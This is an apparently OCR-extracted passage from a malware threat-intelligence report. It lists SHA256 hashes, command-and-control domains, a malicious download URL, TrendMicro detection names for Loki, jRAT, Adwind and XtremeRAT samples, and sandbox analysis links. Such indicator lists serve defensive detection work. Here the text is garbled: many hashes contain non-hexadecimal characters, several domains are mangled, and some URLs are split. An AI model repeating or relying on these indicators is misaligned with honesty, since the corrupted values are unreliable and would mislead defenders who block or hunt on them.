625e257a8e4359cd6d169d31da96fd8a55c07a9ed9daf0f32d06f69b48327c48
6cdfeadf37beace8b987d8fb4ad4aflfce3270aabdee684c631afe9ad91f7cOaa
738182c7e1d46029cfd16ffbabfe3562a5075c8dc59bbe6c8876e695720db971
839d449fee9207b49c1bc1d8a402892ab56c1c71456b449697e04061f0e7e9fb
aabbel11c4188536adfc9f056e53c0aaf73a00d97eeb89bd4b1976199c169591e
dc680caf7ca693b01dca90f9ef5f835cd52610346108793d3d30cb25ea1409ba
€6978add01dddf7d583f3a71d79ca2ace3d6b0096339e712a657f0b7ceebadf5
7a9¢9aab7f269347bd36db12e7823ac0faa74fd7d254568beadc075b69cb38b2
49e27c7a47c¢004a74e0cd131cf86b7268691af4fcea53425b5cc5b1be02679b2
fedeb116e76914505efbeb7fbb8777e5d73c882563a8d2eee7f46ef10c0e4c92
ef2d29a8e77hb66c7fddff6dc08114e1d15f0089f7b68e2cf5f30442cb403afeb

Cc&C

e pm2bitcoin[.Jcom
e slimkudi.ddns[.]net
e goz[.Junknowncrypter[.]Jcom

Other malicious sites

e http://www.thegoldfingerinc.com/images/jre.zip

Similar Campaign Indicators of Compromise (loCs) as listed by TrendMicro

SHA256s Detection Names

074a9e38883bf9cc0a951af0fd21052e2c85be4ff26ce213ad81e380c9c2377f TSPY_HPLOKI.SM1

1add8a999e40c22b58eclac65c4a3dbdfcb163503e8cdcafbef5723f7b5293al JAVA_JRAT.DRP
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1b39d9f79ef2bcbf55d3cbe8217¢73077f2a8bf4b326263231bce96100fe3c19

TSPY_HPLOKIL.SM1

360bae0c2eb596e9030ea4d25567389¢26805c4ae34073c9aba741d51ac0a0f6

JAVA_ADWIND.WIL

40c0532f5255e633a13dc4e5db9ddalbe5a3733a152793e2d893ab8207c6acd6

TROJ_CVE201711882.UHAOBGG

7dd5566194b03b22df48af236193fb1853f6fd27205e31657440f640f85d4d76

BKDR_XTRAT.SMM

ad043adcebada399adab8fc3e767d8292284a8h926f0a33¢c398825738eacf018

VBS_JRAT.DRP

c200fb4c0e20cf8f7e8ca58b7e8b71f5d967dc0a02938086679b9defa9171567

VBS_DUNIHI.ELDSAV)

d86fecb9ebf242dfedfbd8a062f67771c2250e542c5a6d25c¢9d596ad6d609793

badnulls[.]hopto[.]org
junpio?70[.]Jhoptol.]org

pm2bitcoin[.Jcom

JAVA_ADWIND.WIL

References - Further Useful links

e https://any.run/report/693d967c110eff019853d2a92d77447bcfb2ea2306036644c97d7353a989866

2/219a5958-80d1-4761-83ed-b0268ae02351
e https://www.joesandbox.com/analysis/63809/0/html

e https://www.virustotal.com/en/url/efa7b5e5f1a2a76b23e188fa7a749a4b5b6a3ec18193339b773ed

0d6de94debd/analysis/1529415665/

e https://www.virustotal.com/#/file/7a9c9aab7f269347bd36db12e7823ac0faa74fd7d254568beadc07

5b69cb38b2/detection

e https://any.run/report/e9f7dcddd2ee27234473a9b7dfef2518d35a32b43789e45c4883027c6384601

3/441dfc04-bdfe-4d90-a535-549e6086f3bbifiles
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